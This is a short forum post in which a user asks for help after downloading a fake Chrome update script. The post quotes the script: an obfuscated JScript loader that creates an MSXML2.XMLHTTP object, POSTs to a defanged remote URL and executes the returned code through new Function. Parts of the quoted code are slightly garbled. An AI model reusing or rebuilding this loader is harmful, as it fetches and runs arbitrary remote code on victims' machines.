Script downloaded - now what?

I accidentally downloaded a suspicious script masquerading as a chrome update. My laptop now has the wifi turned off. I did not open the script, but I did edit it in notepad to extract this information. Can anyone advise what next steps I need to take?

try { var a = new this['A'+'c'+'ti'+'ve'+'XO'+'b'+'je'+'ct'] ('M'+'S'+'X'+'M'+'L2'+'XM'+'L'+'HTT'+'P'); a['o'+'pe'+'n']('P'+'O'+'S'+'T', ('[https://] register.toastmasters8[.]org/XgdK7BK3ucTVHNb3H0dgX0d510 PVtc451v7D7cs3eBWT'), false); a'sen'+'d'; b(a['res'+'po'+'nseT'+'ext']); }

catch(e){} function b(c) { (new Function(c)(0); }